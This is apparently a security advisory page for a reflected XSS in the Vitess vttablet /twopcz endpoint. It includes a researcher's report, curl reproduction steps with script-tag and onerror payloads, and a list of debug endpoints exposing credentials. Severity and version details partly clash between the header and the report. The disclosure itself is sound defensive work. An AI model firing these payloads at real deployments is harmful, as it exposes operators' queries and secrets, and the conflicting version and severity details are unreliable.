GitHub Advisoryadvisory · Go

GHSA-v75v-6fpf-gvw8 Vitess vttablet /twopcz reflected XSS

CRITICAL Published 2026-10-15 Modified 2026-10-15 Official page ↗
Aliases
CVE-2026-104252
Ecosystem
Go
Packages
vitess.io/vitess
Severity
Critical
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weaknesses
CWE-116, CWE-79, CWE-80
Reviewed
2026-10-15

Affected packages

• Go vitess.io/vitess: < 0.23.5 → fixed in 0.23.5 • Go vitess.io/vitess: >= 0.24.0, < 0.24.2 → fixed in 0.24.2

Description

From: xylove21 To: [email protected] Subject: [Security Report] Vitess vttablet /twopcz reflected XSS Date: Tue, 24 Jun 2026 14:30:00 +0800 Summary The `twopczHandler` in `go/vt/vttablet/tabletserver/twopcz.go` (line 185) reflects the `Action` and `dtid` form values directly into the HTML response body via `fmt.Fprintln(w, msg)` — without HTML escaping. The response is served as `text/html; charset=utf-8`, and Vitess's default `acl` policy is allow-all, so the endpoint is reachable by anyone who can hit the vttablet's HTTP port (default `15999`, multiplexed with gRPC and MySQL wire-protocol ports). A crafted `Action` or `dtid` value yields a reflected XSS that executes in the operator's browser with same-origin access to the vttablet's debug endpoints. This includes `/queryz` (live query plans), `/querylogz` (recent queries with bound values), `/txlogz` (transactions), `/debug/env` (environment variables — may include MySQL/topology credentials), `/debug/vars` (expvar stats), and `/debug/pprof/*` if enabled. The bug was introduced before v20.0.0 (long-standing) and was silently fixed in commit `3140c1846c` (merged 2026-06-09, PR #20255, "tabletserver: escape reflected form values in twopcz handler"). The fix replaces `fmt.Fprintln(w, msg)` with `fmt.Fprintln(w, html.EscapeString(msg))`. No released version of Vitess contains the fix — the fix lives only on `main` (current tip `33a3c0fafe69`, 2026-06-23). There is no CVE, GHSA, or OSV entry for this specific bug (verified 2026-06-24 against GitHub Advisory Database, OSV.dev, and NVD). Impact | Field | Value | |-------|-------| | Type | Reflected Cross-Site Scripting (XSS) | | CVSS 3.1 | `AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N` = 7.7 HIGH | | Attack Vector | Network (vttablet HTTP port 15999, multiplexed with gRPC/MySQL) | | Attack Complexity | Low (craft URL, send to operator) | | Privileges Required | None (default `acl` policy is allow-all) | | User Interaction | Required (operator must visit crafted URL) | | Scope | Changed (XSS chain reaction to other vttablet debug endpoints) | | Confidentiality | High (query text, env vars, expvar stats) | | Integrity | None (XSS itself doesn't change state) | | Availability | None (XSS itself doesn't disrupt service) | Affected versions (verified) All released versions are vulnerable. The fix lives only on `main`: | Tag | Released | `twopcz.go` line 185 | Status | |---|---|---|---| | v20.0.0 | 2024-06-27 | `fmt.Fprintln(w, msg)` | BUGGY | | v20.0.1 - v20.0.6 | 2024 | `fmt.Fprintln(w, msg)` | BUGGY | | v22.0.4 | 2026-02-27 | `fmt.Fprintln(w, msg)` | BUGGY | | v23.0.3, v23.0.4 | 2026-02 / 2026-05 | `fmt.Fprintln(w, msg)` | BUGGY | | v24.0.0, v24.0.1 | 2026-04 / 2026-05 | `fmt.Fprintln(w, msg)` | BUGGY | | main (`33a3c0fafe69`) | 2026-06-23 | `fmt.Fprintln(w, html.EscapeString(msg))` | FIXED | Sensitive data exposed via the same-origin XSS chain A successful XSS lands in the vttablet's origin. From there, the attacker can fetch (via `fetch()` from injected JavaScript) the following same-origin endpoints, all of which are unauthenticated by default: • `/twopcz` — in-flight 2PC transactions (query text, parameters, dtid) • `/queryz` — live query plans • `/querylogz` — recent queries with bound values • `/txlogz` — transactions • `/debug/env` — environment variables (may include MySQL creds, topology credentials, encryption keys) • `/debug/vars` — expvar stats • `/debug/pprof/*` — CPU/memory profiles (if enabled) Reproduction (independent, runnable PoC) The PoC is a self-contained Go HTTP server that replicates the buggy `twopczHandler` from Vitess v20.0.0 verbatim (using the same line-185 code). It runs on `127.0.0.1:15080` and returns the same response shape as the real Vitess endpoint. ```bash 1) Build the PoC (Go 1.23+) cd /path/to/finding/CVE-pending-twopcz-xss go build -o /tmp/vitess-twopcz-poc ./poc.go 2) Start the buggy server ADDR=127.0.0.1:15080 /tmp/vitess-twopcz-poc & 3) Reproduce — Test 1: bare GET (no params) curl -sS -i "http://127.0.0.1:15080/twopcz" → Content-Type: text/html; charset=utf-8, status 200 4) Test 2: XSS via Action param (URL-encode the script tag) curl -sS -i "http://127.0.0.1:15080/twopcz?Action=%3Cscript%3Ealert(1)%3C%2Fscript%3E&dtid=zz" → Response body contains literal "alert(1)(zz): completed." → Browser executes the script as same-origin code 5) Test 3: XSS via dtid param (attribute-context payload) curl -sS -i "http://127.0.0.1:15080/twopcz?Action=Demo&dtid=%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E" → Response body contains literal "" → Browser fires the onerror handler as same-origin code 6) Run the 3x automated runner (writes evidence/run-{1,2,3}.log) bash ./poc/run.sh ``` PoC result excerpt (from `evidence/run-1.log`): ``` --- Test 2: XSS via Action=alert(1) --- HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 ... WARNING: Actions on this page can jeopardize data integrity. alert(1)(zz): completed. PASS: payload reflected UNESCAPED (XSS exploitable in browser) ``` The PoC was run 3 times on the buggy server (all 3/3 PASS) and the same code is byte-identical to the v20.0.0 commit `8aeb274f6c8e` line 185. Root cause (technical detail) `go/vt/vttablet/tabletserver/twopcz.go` (v20.0.0 through v24.0.1): ```go // Line 185 fmt.Fprintln(w, msg) ``` `msg` is constructed earlier in the handler as: ```go msg := fmt.Sprintf("%s(%s): completed.", action, dtid) ``` with `action` and `dtid` coming from the form values `r.FormValue("Action")` and `r.FormValue("dtid")`. The form values are URL-decoded (so a `+` becomes a space, `%3C` becomes `` it writes first), so the browser executes any injected `` or attribute-context payload. The fix in main (`fmt.Fprintln(w, html.EscapeString(msg))`) closes the hole by HTML-escaping both `action` and `dtid` before reflection. Suggested fix (already in main) ```go // Recommended minimal patch (already in main, needs backport to all release branches): import "html" func twopczHandler(w http.ResponseWriter, r *http.Request) { // ... existing logic ... msg := fmt.Sprintf("%s(%s): completed.", action, dtid) fmt.Fprintln(w, html.EscapeString(msg)) // ← was: fmt.Fprintln(w, msg) } ``` Backport the fix to v20.0.x, v22.0.x, v23.0.x, and v24.0.x as patch releases. The fix is one line and a one-line `import "html"` addition, so the backport risk is minimal. Workaround / mitigation (no patch available) If you cannot upgrade to a fixed release immediately: 1. Restrict the vttablet HTTP port (default 15999) to localhost only. vttablet can run with `--tablet-allow-stats=false` and `--tablet-grpc-port` configured separately from the HTTP port, or you can firewall the HTTP port at the network layer. The debug endpoints are not needed by production traffic. 2. Set a non-default ACL policy. Vitess supports an `acl` policy that defaults to allow-all. Setting it to a JSON file that denies unauthenticated access to debug endpoints (see `go/acl/acl.go::savePolicy`) would block the XSS, but the default policy is currently `""` (allow-all) and many users don't override it. 3. Use a reverse proxy (nginx, envoy) in front of the vttablet HTTP port with a strict allowlist of clients. Cross-references • The bug is not related to: • CVE-2024-53257 (`/debug/querylogz` HTML injection, fixed in v20.0.4 — different endpoint) • CVE-2026-27969 (backup MANIFEST path traversal) • CVE-2026-27965 / GHSA-8g8j-r87h-p36x (backup external decompressor RCE) • PR #20255 is the fix commit; PR #19486 (defense-in-depth) is a separate hardening change Contact • GitHub: @xylove21

Related

Alias · CVE (1)

  • CVE-2026-104252 Vitess is a database clustering system for horizontal scaling of MySQL. vulnerability

Weakness · CWE (3)

  • CWE-116 Improper Encoding or Escaping of Output weakness
  • CWE-79 Improper Neutralization of Input During Web Page Generation weakness
  • CWE-80 Improper Neutralization of Script-Related HTML Tags in a Web Page weakness

References